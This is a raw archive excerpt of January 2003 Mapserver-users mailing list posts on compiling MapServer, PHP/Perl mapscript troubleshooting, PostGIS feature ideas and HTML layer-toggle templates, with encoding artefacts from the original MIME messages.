john.arthur at t-mobile.com T-Mobile USA Get more from life - - - - - - - - - - - - - - - - - - - - - - - - - - - - John Arthur RF Technician Office: (757) 490-7221 Cellular: (757) 839-0021 Email: john.arthur at t-mobile.com T-Mobile USA Get more from life From Uffe Thu Jan 9 14:27:42 2003 From: Uffe (Uffe) Date: Thu, 9 Jan 2003 23:27:42 +0100 Subject: [Mapserver-users] CLX component References: Message-ID: <007601c2b82e$53b9ff20$6501a8c0@dual866> CartoWorld has created a Kylix version of their cartoVCL mapping component. It's called CartoCLX. Find it at www.cartoworld.com Regards Uffe ----- Original Message ----- From: "Arthur, John" To: Sent: Thursday, January 09, 2003 11:09 PM Subject: [Mapserver-users] CLX component > Last year, Pedro A. Carrasco, mentioned something about a CLX components for > > Delphi or Kylix. I was wandering if anybody has done something with > mapserver and Delphi, Kylix or C++. I am learning Delphi and C++ and would > like to experiment with creating a GIS product for Linux other than Grass. > > -- > John Arthur > RF Technician > Office: (757) 490-7221 > Cellular: (757) 839-0021 > Email: john.arthur at t-mobile.com > T-Mobile USA > Get more from life > > > - - - - - - - - - - - - - - - - - - - - - - - - - - - - > John Arthur > RF Technician > Office: (757) 490-7221 > Cellular: (757) 839-0021 > Email: john.arthur at t-mobile.com > T-Mobile USA > Get more from life > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From pdalfarra at ibelgique.com Sat Jan 4 01:23:39 2003 From: pdalfarra at ibelgique.com (pdalfarra at ibelgique.com) Date: Sat, 4 Jan 2003 09:23:39 GMT Subject: [Mapserver-users] Mapserver and Libgd Message-ID: <200301040923.2789@th00.opsion.fr> So here is my very first message on this mailing list.. First I have to say that I am not a Linux geek, but anyway, I have tried to compile and deploy mapserver on mandrake 8. I have downloaded a lot of mapserver related stuff, as gd 2. I manage to compile the all thing and obtain a mapserver binary file, but, when I try to execute it (manually or when it is deployed in my cgi-bin directory) I have this error message. [root at localhost mapserver-3.6.3]# ./mapserv ./mapserv: error while loading shared libraries: libgd.so.2: cannot load shared object file: No such file or directory I don't understand since I have a libgd.so.2 file (soft link) in my /usr/local/lib directory which is pointing to /usr/local/lib/libgd.so.2.0.0 that I obtain when I compile gd-2.0.9. Here are the packages I have downloaded and compiled (using ./configure, then make (sometimes with needed options), and finally make install (or some other make target corresponding to a classic make install): freetype-2.1.3 gd-2.0.9 jpeg-6b libpng-1.2.5 mapserver-3.6.3 proj-4.4.5 shapelib-1.2.9 tiff-v3.5.7 w3c-libwww-5.4.0 zlib-1.1.4 Can somone help? Thanx a lot for helping me in this task and prevent me from having to install the windows mapserver version ... ;-) From kpw at jump9.com Sat Jan 4 13:47:02 2003 From: kpw at jump9.com (Kevin Webb) Date: Sat, 4 Jan 2003 16:47:02 -0500 Subject: [Mapserver-users] (no subject) Message-ID: <200301042147.h04Llgae027882@lists.gis.umn.edu> Dear Mapserver folks, I?m currently working on a rather larger Mapserver application and have run into a couple of problems/potential features that I?d like to share and get your thoughts on. 1) With PostGIS (or SDE, etc.) connections what is potential of moving the FILTER attribute to the CLASS ? essentially replacing current role of the EXPRESSION attribute? It seems that given the database server?s power at indexing and filtering this would be significantly faster than passing all the data back to Mapserver to have it again reprocess the data in order to generate different classes. Is this a correct assumption or are there problems with doing multiple queries to retrieve each class (e.g. is the query overhead greater than simply doing the filtering inside mapserver)? I ask because I?m thinking about implementing something similar to ESRI?s unique and gradient colors features (for example allowing users to select groups of objects with each layer and apply colors based on attributes ? or quantize attributes and apply a gradient). This would mean lots of sub-classes in each layer and lots of filtering going on to organize these classes. It would be great if I could just pass in a different WHERE clause for each class. Does this make sense or are there better ways to accomplish this? 2) This is more of a PostGIS question (which I?m posting on their list as well), but it has implications for Mapserver as well, so I thought I?d share it here. What is the current opinion of implementing some sort of line simplification algorithm (like Douglas-Peucker) on data before it?s sent to Mapserver. For example, if Mapserver could communicate the current scale (units/pixel) to the DB server, then it could strip out extraneous information prior to transmission. This could significantly reduce the processing time required to parse complex layers at full extent. I know there?s been some talk about this amongst the PostGIS folks in the past, but I don?t have a clear picture of where this stands today, or if any Mapserver users would even find this sort of feature useful. I think I?ve come up with a way to implement it, but I?d like to hear input from others before go too far. 3) Is there any interest or discussion of implementing an opacity setting for layers (similar to ESRI?s) such that a polygon might be 50% or 75% opaque, for example? I don?t know much about the implications for this, but my understanding is that GD already supports this. Correct? With that said ? I think I may be in a position to try implementing theses features sometime soon. I?d love to hear input from others and I?m going to start playing with the source on my own soon. Thanks! Kevin Webb -- e: kpw[at]jump9.com p: (919)260-8375 w: kpw.jump9.com From spencer at dmsolutions.ca Sat Jan 4 20:26:24 2003 From: spencer at dmsolutions.ca (Paul Spencer) Date: Sat, 04 Jan 2003 23:26:24 -0500 Subject: [Mapserver-users] [Fwd: MapLab MapInfo support] Message-ID: <3E17B3F0.9040906@magma.ca> This is a multi-part message in MIME format. --------------090501090407070200090907 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Diego, I can't really help you with specifics on this particular problem, I am forwarding your question to the mapserver-users list. Hopefully someone there can answer you. Paul -- Paul Spencer Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca --------------090501090407070200090907 Content-Type: message/rfc822; name="MapLab MapInfo support" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="MapLab MapInfo support" Received: from xcalibur.dmsolutions.ca (www2.dmsolutions.on.ca [209.217.116.146]) by in3.magma.ca (Magma's Mail Server) with ESMTP id h050TcwS021560 for ; Sat, 4 Jan 2003 19:29:38 -0500 (EST) Received: from brezza.iuav.it ([157.138.209.2]) by xcalibur.dmsolutions.ca (8.11.2/8.11.2) with ESMTP id h050TZt04510 for ; Sat, 4 Jan 2003 19:29:36 -0500 Received: from bora.iuav.it (bora.iuav.it [157.138.209.6]) by brezza.iuav.it (8.9.3 (PHNE_25183)/8.9.3) with ESMTP id BAA25341 for ; Sun, 5 Jan 2003 01:29:30 +0100 (MET) Received: (from tzzntt01 at localhost) by bora.iuav.it (8.9.3 (PHNE_25183)/8.9.3) id BAA07286; Sun, 5 Jan 2003 01:29:29 +0100 (MET) Date: Sun, 5 Jan 2003 01:29:24 +0100 (MET) From: Diego Tiozzo Netti To: spencer at dmsolutions.ca Subject: MapLab MapInfo support Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear Mr. Spencer, I'm new to MapServer/MapLab world. I've read a your reply in "Maplab Users Mailing list" about questions concerning MapInfo data using and importing. Well, although I'm still fighting with some troubles in configuring PHP, before ending to tune MapLab, I wonder (and I ask to you) which is correct procedure to import Mapinfo (4.x version) native .tab files. I'm going to use a very complex structured cartography with many layers in .tab format: which preliminary procedures are necessary to work with MapInfo files? Have I to convert / transform these files in any way? Thank you for any help. Regards, -Diego Tiozzo Netti ------------------ --------------090501090407070200090907-- From mccrone at pc.jaring.my Sun Jan 5 15:26:32 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Mon, 6 Jan 2003 07:26:32 +0800 Subject: [Mapserver-users] Message-ID: <005a01c2b511$e2391b20$470a18d3@clickntrac> This is a multi-part message in MIME format. ------=_NextPart_000_0057_01C2B554.EF8E0EA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable >From a previous question asked by Stephen Woodbridge = and answered by=20 Daniel Morissette =20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Stephen, Peter, The ROSA applet supports this. However it has no knowledge of projections, so the measured distance is just an approximation as stated in the documentation. For an example of a site using this, see: http://www.sis.ec.gc.ca/msapps/ec_species/htdocs/ec_species_e.phtml and for the docs, look for "Distance Measurement Tool" in=20 http://www2.dmsolutions.ca/webtools/rosa/rosa_params.html Daniel =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D I had a look at the example above and it does appear to calculate the = correct pixel size that is used in the distance. However, I cannot find = (in the code) where it does this, so I am wondering if Daniel could shed = some light on this one. One thing with this sample - the user must not only select another tool = and click on the map in order for the distance to "zero". Just by = re-selecting the measure tool or clicking on another one does not "zero" = the cumulative distance. Thanks ------=_NextPart_000_0057_01C2B554.EF8E0EA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
From a previous question asked by = Stephen Woodbridge = <woodbri at swoodbridge.com> and answered by=20
Daniel Morissette <morissette at dmsolutions.= ca>=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Stephen, Peter,

The ROSA applet supports=20 this.  However it has no knowledge of
projections, so the = measured=20 distance is just an approximation as stated
in the = documentation.

For=20 an example of a site using this, see:
  http://www.sis.ec.gc.ca/msapps/ec_species/htdocs/ec_species_e.phtml

and=20 for the docs, look for "Distance Measurement Tool" in
  http:/= /www2.dmsolutions.ca/webtools/rosa/rosa_params.html

Daniel
= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
I had a look at the example above = and it does=20 appear to calculate the correct pixel size that is used in the distance. = However, I cannot find (in the code) where it does this, so I am = wondering if=20 Daniel could shed some light on this one.
 
One thing with this sample - the = user must=20 not only select another tool and click on the map in order for the = distance to=20 "zero". Just by re-selecting the measure tool or clicking on another one = does=20 not "zero" the cumulative distance.
 
Thanks

------=_NextPart_000_0057_01C2B554.EF8E0EA0-- From info at giswebsite.com Mon Jan 6 16:12:34 2003 From: info at giswebsite.com (Jonathan W. Lowe) Date: Mon, 6 Jan 2003 16:12:34 -0800 Subject: [Mapserver-users] mapscript and XBase cause Out of memoryerrorand/or premature endof script headers error In-Reply-To: <200301061422.h06EMbR11599@yogi.medinaco.net> References: <200301061422.h06EMbR11599@yogi.medinaco.net> Message-ID: <1041898354.3e1a1b725f27e@webmail.lmi.net> Lowell, Thanks for your help (once again!). I've made a little progress. It turned out that the hosting service had a 4 MB memory cap on any perl scripts run from a user's local directories (i.e. my case). When the sys admin raised the cap to 12 MB, one of the scripts that had run out of memory at 4 MB suddenly worked. So, the source of the problem appears to have been this host-imposed memory limit. The rest of the story is still not over, however. The test script that now works is only a test script; the main script still fails, with a "Premature end of script headers" error message in the log file. I plan to slowly add subroutines to the working script and see where it stops working... To answer your question below, I had not cross-posted to a BSD list. Now that the memory cap is identified, I think it's safe to consider the issue closed and I'll get back to the debugging, one line at a time. :-) Again, thank you very much for your help. Jonathan Quoting Lowell Filak : > FYI: I forwarded this thread to a gentleman I know who has far more > experience with BSD. > The only sticky point is that it could be a little while before he replies. > Did you happen to cross-post this to any BSD list? > I can't claim to be any type of expert but it would appear that there is > deffinitely a memory usage limit being imposed at some point. > There appears to be talk about a login.conf file that has a key in it named > memoryuse that can be used to limit the amount of memory on a per-user > basis. > HTH > Lowell > > The following message was sent by "Jonathan W. Lowe" > on 03 Jan 2003 14:21:50 -0800. > > > Adding system("unlimit"); or system("ulimit"); to the script results in > > the following error_log entries (respectively): > > > > Can't exec "unlimit": No such file or directory at > > /usr/home/gisweb/www/cgi-bin/ms_test5.cgi line 3. > > gd-png: fatal libpng error: Out of Memory > > gd-png error: setjmp returns error condition > > > > Can't exec "ulimit": No such file or directory at > > /usr/home/gisweb/www/cgi-bin/ms_test5.cgi line 3. > > gd-png: fatal libpng error: Out of Memory > > gd-png error: setjmp returns error condition > > > > At a command prompt on the FreeBSD system, typing "unlimit" successfully > > calls the builtin command. Likewise, also in the FreeBSD system, > > opening "sh" and typing "ulimit" returns the text: "unlimited", also > > successfully calling the builtin command. > > > > But no luck when using the system call as part of a CGI-driven script. > > > > Should I be forcing the perl script to run in another shell? (Not sure > > how I'd do that.) > > > > - Jonathan > > > > On Fri, 2003-01-03 at 12:32, Lowell Filak wrote: > > > I'm thinking as a quick test you could do: > > > system("ulimit"); > > > or > > > system("unlimit"); > > > and see if the script executes properly. > > > Lowell > > > > > > The following message was sent by "Jonathan W. Lowe" > on 03 Jan 2003 11:50:56 -0800. > > > > > > > Thanks, Lowell. New discoveries... > > > > > > > > The CGI module seems to be the problem. > > > > > > > > The following bare-bones script works perfectly when the "#use CGI;" > is > > > > commented out: > > > > > > > > #!/usr/bin/perl -w > > > > use strict; > > > > BEGIN { unshift(@INC, ('/usr/home/gisweb/local/lib', > > > > '/usr/home/gisweb/local/lib/perl5/site_perl/5.005/i386-freebsd'));} > > > > use mapscript; > > > > use XBase; > > > > use CGI; > > > > > > > > my $mapfilename = "/usr/home/gisweb/gis/proj/berk/b20.map"; > > > > my $image_path = '/usr/home/gisweb/www/docs/gis/scratch/'; > > > > my $image_virtual_path = '/gis/scratch/'; > > > > my $image_id = $$ . time() . ".png"; > > > > > > > > my $map = new mapObj($mapfilename) or die('Unable to open mapfile.'); > > > > my $img = $map->draw() or die('Unable to draw map'); > > > > binmode STDOUT; > > > > $img->saveImage($image_path . > > > > > $image_id,$mapscript::MS_PNG,$map->{transparent},$map->{interlace},95); > > > > my $recnumb = 3; > > > > my $table = new XBase '/usr/home/gisweb/gis/data/berk/wa_b.dbf' > > > > or die XBase->errstr; > > > > my @querydata = $table->get_record($recnumb); > > > > my $block_result = $querydata[1]; > > > > > > > > print "Content-type: text/html\n\n"; > > > > print "\n"; > > > > print "XBase output:
\n"; > > > > print "$block_result!\n"; > > > > print "

Mapscript output:
\n"; > > > > print " > > > print "$image_id\" border=\"1\">\n"; > > > > print "\n" > > > > > > > > # --- End of ms_test5.cgi --- # > > > > > > > > But...when run with "use CGI;" uncommented, the image is corrupt and > the > > > > following message appears in the apache error_log: > > > > > > > > gd-png: fatal libpng error: Out of Memory > > > > gd-png error: setjmp returns error condition > > > > > > > > When run in the command line (as "perl ms_test5.cgi"), the program > also > > > > runs perfectly. > > > > > > > > So, if the solution involves ulink/unlink, the shell builtin, how do I > > > > take advantage of that builtin command if the program is running > within > > > > the apache/CGI environment? > > > > > > > > Thanks again for your help, > > > > > > > > Jonathan > > > > > > > > On Fri, 2003-01-03 at 06:10, Lowell Filak wrote: > > > > > The only thing I can seem to locate right now is the shell built-in > command ulimit/unlimit . > > > > > Possibly the shell that the cgi is being run in needs unlimit set.? > > > > > All this is assuming that when you receive the out-of-memory error > your watching top and can clearly see that there is plenty of memory left.? > > > > > HTH > > > > > Lowell F. > > > > > > > > > > The following message was sent by "Jonathan W. Lowe" > on 02 Jan 2003 16:34:07 -0800. > > > > > > > > > > > List: > > > > > > > > > > > > Perl mapscript in combination with the perl XBase and CGI modules > works > > > > > > very well in my Redhat 8 development environment, but when moving > the > > > > > > code to the production FreeBSD environment, the following problem > > > > > > results: > > > > > > > > > > > > A program containing the statements... > > > > > > > > > > > > use mapscript; > > > > > > use XBase; > > > > > > > > > > > > ...runs the mapscript portions correctly when just the "use XBase;" > line > > > > > > is commented out. > > > > > > > > > > > > The same program runs the XBase portions correctly when just the > "use > > > > > > mapscript;" line is commented out. > > > > > > > > > > > > The line causing problems when both modules are running contains > the > > > > > > following perl mapscript command: > > > > > > > > > > > > my $img = $map->draw() or die('Unable to draw map'); > > > > > > > > > > > > The resulting line in the apache error_log reads: > > > > > > > > > > > > Out of memory! > > > > > > [Thu Jan 2 16:09:25 2003] [error] Premature end of script > > > > > > headers...etc > > > > > > > > > > > > The only posting referring to "Out of memory" in this context > refers to > > > > > > SWIG and is a couple of years old. > > > > > > > > > > > > Any ideas for resolving this problem? > > > > > > > > > > > > Regards, > > > > > > Jonathan W. Lowe > > > > > > > > > > > > _______________________________________________ > > > > > > Mapserver-users mailing list > > > > > > Mapserver-users at lists.gis.umn.edu > > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > > > > > > > > > > > > > _______________________________________________ > > > > Mapserver-users mailing list > > > > Mapserver-users at lists.gis.umn.edu > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > > Jonathan W. Lowe email - info at giswebsite.com website - http://www.giswebsite.com From mike_5102 at pchome.com.tw Mon Jan 6 17:09:24 2003 From: mike_5102 at pchome.com.tw (Mikepchome) Date: Tue, 7 Jan 2003 09:09:24 +0800 Subject: [Mapserver-users] about php function "querybypoint()" Message-ID: <002701c2b5e9$6b9db420$7d474ad3@Mike> This is a multi-part message in MIME format. ------=_NextPart_000_0024_01C2B62C.79424E40 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable Hello all, I have PHP ver4.0.6 and MapServer version 3.5.I want to search the point = on the map and I use the function "int queryByPoint(pointObj point, int = mode, double buffer)",but there are some problems: the error messages: Warning: MapServer Error in msQueryByPoint(): No matching record(s) = found. this is my file:pon.phtml $cx=3D($rectangle->maxx - $rectangle->minx)/$map->width; $cy=3D($rectangle->maxy- $rectangle->miny)/$map->height; $x1=3D$rectangle->minx + $cx*$x; $y1=3D$rectangle->maxy - $cy*$y; $pon_point =3D ms_newpointObj(); $pon_point->setXY($x1,$y1); $layer->querybypoint($pon_point,MS_SINGLE,-1); echo $pon_point->x; echo "\n"; echo $pon_point->y; The function defined: int queryByPoint(pointObj point, int mode, double buffer) Query all selected layers in map at point location specified in = georeferenced map coordinates (i.e. not pixels).The query is performed = on all the shapes that are part of a CLASS that contains a TEMPLATE = value or that match any class in a layer that contains a LAYER TEMPLATE = value. Mode is MS_SINGLE or MS_MULTIPLE depending on number of results you = want.Passing buffer <=3D0 defaults to tolerances set in the map file(in = pixels) but you can use a constant buffer (specified in ground units) = instead. Returns MS_SUCCESS if shapes were found or MS_FAILURE if nothing was = found or if some other error happened (note that the error message in = case nothing was found can be avoided in PHP using the '@' control = operator). question: What's problems with my program? Can you explan how the function should be used correctly?I don't know = the definition "in pixel"?what does it mean? I'll really apreciate your response! ------=_NextPart_000_0024_01C2B62C.79424E40 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable

Hello all,
I have PHP ver4.0.6 and = MapServer=20 version 3.5.I want to search the point on the map and I use the function = "int queryByPoint(pointObj point, int mode, double=20 buffer)"
,but there = are some=20 problems:
the error messages:
Warning:=20 MapServer Error in msQueryByPoint(): No matching record(s)=20 found.
 
this is my = file:pon.phtml
 
   $cx=3D($rectangle->maxx -=20 $rectangle->minx)/$map->width;
   = $cy=3D($rectangle->maxy-=20 $rectangle->miny)/$map->height;
   = $x1=3D$rectangle->minx +=20 $cx*$x;
   $y1=3D$rectangle->maxy - = $cy*$y;
  =20 $pon_point =3D ms_newpointObj();
  =20 $pon_point->setXY($x1,$y1);
  =20 $layer->querybypoint($pon_point,MS_SINGLE,-1);
   echo=20 $pon_point->x;
   echo "\n";
   echo=20 $pon_point->y;
 
The function defined:
int queryByPoint(pointObj point, int mode, = double=20 buffer)
Query all selected layers in map at point = location=20 specified in georeferenced map coordinates (i.e. not pixels).The query = is=20 performed on all the shapes that are part of a CLASS that contains a = TEMPLATE=20 value or that match any class in a layer that contains a LAYER TEMPLATE=20 value.
Mode = is=20 MS_SINGLE or MS_MULTIPLE depending on number of results you want.Passing = buffer=20 <=3D0 defaults to tolerances set in the map file(in pixels)
but you can use a constant = buffer=20 (specified in ground units) instead.
Returns MS_SUCCESS if shapes = were found=20 or MS_FAILURE if nothing was found or if some other error happened (note = that=20 the error message in case nothing was found can be avoided in PHP using = the '@' control operator).
 
question:
What's problems with my program?
Can you explan how the function should be used = correctly?I don't know=20 the definition "in pixel"?what does it mean?
 
I'll really apreciate your = response!
 


------=_NextPart_000_0024_01C2B62C.79424E40-- ========================================================== 92?~???V?m???O???K?T?????W?B?}?l???? http://edm-prg.epaper.com.tw/click.php?ad_code=1083 ========================================================== PC home Online ?????a?x?G?|?????@?A?x?W???j???J?f???? ========================================================== From stephane.riff at cerene.fr Tue Jan 7 01:52:39 2003 From: stephane.riff at cerene.fr (steff) Date: Tue, 7 Jan 2003 10:52:39 +0100 Subject: [Mapserver-users] PHPmapscript and reference map Message-ID: <000801c2b632$90d3b9d0$b9c8c8c8@devp09> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C2B63A.E5577E30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, here is my problem. I have an application with a map and a ref map. I want to set the extent of the main map to the extent of the reference = map but i don't know how to do that with PHPmapscript. thx ------=_NextPart_000_0005_01C2B63A.E5577E30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 
here is my problem.
 
I have an application with a map and a = ref=20 map.
I want to set the extent of the main = map to the=20 extent of the reference map but i don't know how to do that with=20 PHPmapscript.
 
thx
------=_NextPart_000_0005_01C2B63A.E5577E30-- From mccrone at pc.jaring.my Tue Jan 7 06:06:32 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Tue, 7 Jan 2003 22:06:32 +0800 Subject: [Mapserver-users] Checkboxes for layer control Message-ID: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C2B699.09B280A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I'm trying to implement check boxes to toggle on/off layers. It looks = pretty darn simple but I can't seem to get it working. The checkboxes = are to reflect what layers are loaded, but they are not. I've tried for = many hours but once again must resort to the list. So I'm really hoping = that someone can point out my mistake(s). My original had the rosa applet in it and it was working great. But I = took it out in the code below to see if that made a difference, so there = is some declarations in the template file that do not currently apply. I start with index.html =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D MapServer 3.5 Tutorial
s1ex1.map =3D=3D=3D=3D=3D=3D=3D NAME S1EX1 EXTENT -97.238976 41.619778 -82.122902 49.38562 SIZE 500 400 SHAPEPATH "data" WEB TEMPLATE s1ex1.html IMAGEPATH "set in index.html" IMAGEURL "set in index.html" END LAYER # water NAME "water" DATA hydrop_ugl STATUS DEFAULT TYPE POLYGON CLASS NAME "water" COLOR 200 200 255 OUTLINECOLOR 255 0 0 END # end of water features class END # end of water features layer LAYER # States NAME "states" DATA states_ugl STATUS DEFAULT TYPE POLYGON CLASS # States class NAME "States" EXPRESSION ('[CLASS]' =3D 'land') COLOR 240 240 240 OUTLINECOLOR 0 0 0 END # end of States class object END # end of layer object END # end of map file s1ex1.html =3D=3D=3D=3D=3D=3D=3D=3D Part1, Example 1

Section 1- Example 1

  =
 States  
 Water Features  
Redraw Map

=20

 

------=_NextPart_000_0007_01C2B699.09B280A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I'm trying to implement check boxes to = toggle=20 on/off layers.  It looks pretty darn simple but I can't seem to get = it=20 working.  The checkboxes are to reflect what layers are loaded, but = they=20 are not.  I've tried for many hours but once again must resort to = the list.=20 So I'm really hoping that someone can point out my = mistake(s).
 
My original had the rosa applet in it = and it was=20 working great. But I took it out in the code below to see if that made a = difference, so there is some declarations in the template file that do = not=20 currently apply.
 
I start with=20 index.html
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<html><= BR><head>
<title>MapServer=20 3.5 Tutorial</title>
</head>
<body=20 bgcolor=3D"#ffffff">
<form method=3DGET=20 action=3D"/cgi-bin/mapserv.exe">
 
<input type=3D"hidden" name=3D"map"=20 value=3D"C:\Inetpub\wwwroot\s1ex1.map">
<input type=3D"hidden"=20 name=3D"zoomsize" value=3D2>
<input type=3D"hidden" = name=3D"program"=20 value=3D"/cgi-bin/mapserv.exe">
<input type=3D"hidden"=20 name=3D"map_web_imagepath" = value=3D"C:\inetpub\wwwroot\tmp\">
<input=20 type=3D"hidden" name=3D"map_web_imageurl"=20 value=3D"/tmp/">
<center><input type=3D"submit"=20 value=3D"Initialize"></center>
</body>
</html>=
 
s1ex1.map
=3D=3D=3D=3D=3D=3D=3D
NAME S1EX1
EXTENT=20 -97.238976 41.619778 -82.122902 49.38562
SIZE 500 400
SHAPEPATH=20 "data"
 
WEB
  TEMPLATE = s1ex1.html
 =20 IMAGEPATH "set in index.html"
  IMAGEURL "set in=20 index.html"
END
 
LAYER # water
  NAME = "water"
  DATA=20 hydrop_ugl
  STATUS DEFAULT
  TYPE POLYGON
 
  CLASS
    NAME = "water"
    COLOR 200 200 255
   =20 OUTLINECOLOR 255 0 0
  END # end of water features = class
END  #=20 end of water features layer
 
LAYER # States
  NAME = "states"
 =20 DATA states_ugl
  STATUS DEFAULT
  TYPE = POLYGON
 
  CLASS # States = class
   =20 NAME "States"
    EXPRESSION ('[CLASS]' =3D=20 'land')
    COLOR 240 240 240
   =20 OUTLINECOLOR 0 0 0
  END # end of States class object
END # = end of=20 layer object
 
END # end of map file
 
s1ex1.html
=3D=3D=3D=3D=3D=3D=3D=3D
<!DOCTYPE HTML = PUBLIC=20 "-//IETF//DTD=20 HTML//EN">
<html>
<head>
<title>Part1, = Example=20 1</title>
</head>
<h3>Section 1- Example=20 1</h3>
 
<form name=3D"mapserver" = method=3Dget=20 action=3D"/cgi-bin/mapserv.exe" onSubmit=3D"zoomin()">
 
<input type=3D"hidden" name=3D"mode" = value=3D"browse">
<input type=3D"hidden" name=3D"zoomdir"=20 value=3D"1">
<input type=3D"hidden" name=3D"zoomsize"=20 value=3D"2">
 
<input type=3D"hidden" name=3D"map"=20 value=3D"[map]">
<input type=3D"hidden" name=3D"imgext"=20 value=3D"[mapext]">
<!-- <input type=3D"hidden" = name=3D"imgxy" value=3D"250=20 200">-->
 

<input type=3D"hidden" name=3D"map_web_imagepath"=20 value=3D"[map_web_imagepath]">
<input type=3D"hidden"=20 name=3D"map_web_imageurl" value=3D"[map_web_imageurl]">
 

 <!-- ROSA applet specific tags =20 -->
    <input type=3D"hidden" = name=3D"imagewidth"=20 value=3D"[mapwidth]">
    <input type=3D"hidden" = name=3D"imageheight" value=3D"[mapheight]">
    = <!--=20 Initialization of the parameters which can be set from the applet =20 -->
    <input type=3D"hidden" = name=3D"INPUT_TYPE" =20 value=3D"">
    <input type=3D"hidden" = name=3D"INPUT_COORD"=20 value=3D"">
 
    <input type=3D"hidden" = name=3D"lastButtonSelected"=20 value=3D"">&nbsp;
<table border=3D"1" width=3D"771" = height=3D"82"=20 cellpadding=3D"2">
  <tr>
    <td=20 width=3D"400" height=3D"27" valign=3D"top"=20 align=3D"left">
      <table = border=3D"1"=20 width=3D"100%" = height=3D"83">
       =20 <tr>
          = <td=20 width=3D"13%"=20 height=3D"5">
         = ;=20 <input type=3D"checkbox" name=3D"layer" value=3D"states"=20 [states_check]>
        &nb= sp;=20 </td>
          = <td=20 width=3D"35%"=20 height=3D"5">&nbsp;States</td>
    &n= bsp;    =20 <td width=3D"52%"=20 height=3D"5">&nbsp;</td>
     &n= bsp; =20 </tr>
       =20 <tr>
          = <td=20 width=3D"13%"=20 height=3D"2">
         = ;=20 <input type=3D"checkbox" name=3D"layer" value=3D"water"=20 [water_check]>
        &nbs= p;=20 </td>
          = <td=20 width=3D"35%" height=3D"2">&nbsp;Water=20 Features</td>
        &n= bsp;=20 <td width=3D"52%"=20 height=3D"2">&nbsp;</td>
     &n= bsp; =20 </tr>
       =20 <tr>
          = <td=20 width=3D"13%"=20 height=3D"29">
        &nbs= p;=20 <input type=3DIMAGE src=3D"rosa/userdoc/images/icon_redraw.gif" = width=3D"19"=20 height=3D"19" name=3Dredraw=20 border=3D0></td>
       &n= bsp; =20 <td width=3D"87%" height=3D"29" colspan=3D"2"><font = face=3D"Arial"=20 size=3D"3">Redraw
        &= nbsp;  =20 Map</font></td>
       = =20 </tr>
     =20 </table>
    </td>
    = <td=20 width=3D"507" height=3D"363" valign=3D"top" align=3D"left"=20 bordercolor=3D"#000080">
    <INPUT NAME=3D"img" = TYPE=3D"image" SRC=3D"[img]" width=3D[mapwidth] height=3D[mapheight]=20 border=3D0>
    </td>
  = </tr>
 =20 <tr>
    <td width=3D"400" height=3D"43" = valign=3D"top"=20 align=3D"left"></td>
    <td width=3D"507" = height=3D"43"></td>
 =20 </tr>
</table>
<p>
 
   = <!--=20 Applet and Parameter=20 -->
</p>
<p>&nbsp;</p>
</form></html>
------=_NextPart_000_0007_01C2B699.09B280A0-- From beautygg-0526 at yahoo.com.tw Tue Jan 7 06:21:35 2003 From: beautygg-0526 at yahoo.com.tw (GiGiyahoo) Date: Tue, 7 Jan 2003 22:21:35 +0800 Subject: [Mapserver-users] Fw: about php function "querybypoint()" Message-ID: <002d01c2b659$ae1bd780$3c46fea9@Mike> This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C2B69B.2381F220 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable ----- Original Message -----=20 From: Mike(pchome)=20 To: mapserver-users at lists.gis.umn.edu=20 Sent: Tuesday, January 07, 2003 9:09 AM Subject: about php function "querybypoint()" Hello all, I have PHP ver4.0.6 and MapServer version 3.5.I want to search the point = on the map and I use the function "int queryByPoint(pointObj point, int = mode, double buffer)",but there are some problems: the error messages: Warning: MapServer Error in msQueryByPoint(): No matching record(s) = found. this is my file:pon.phtml $cx=3D($rectangle->maxx - $rectangle->minx)/$map->width; $cy=3D($rectangle->maxy- $rectangle->miny)/$map->height; $x1=3D$rectangle->minx + $cx*$x; $y1=3D$rectangle->maxy - $cy*$y; $pon_point =3D 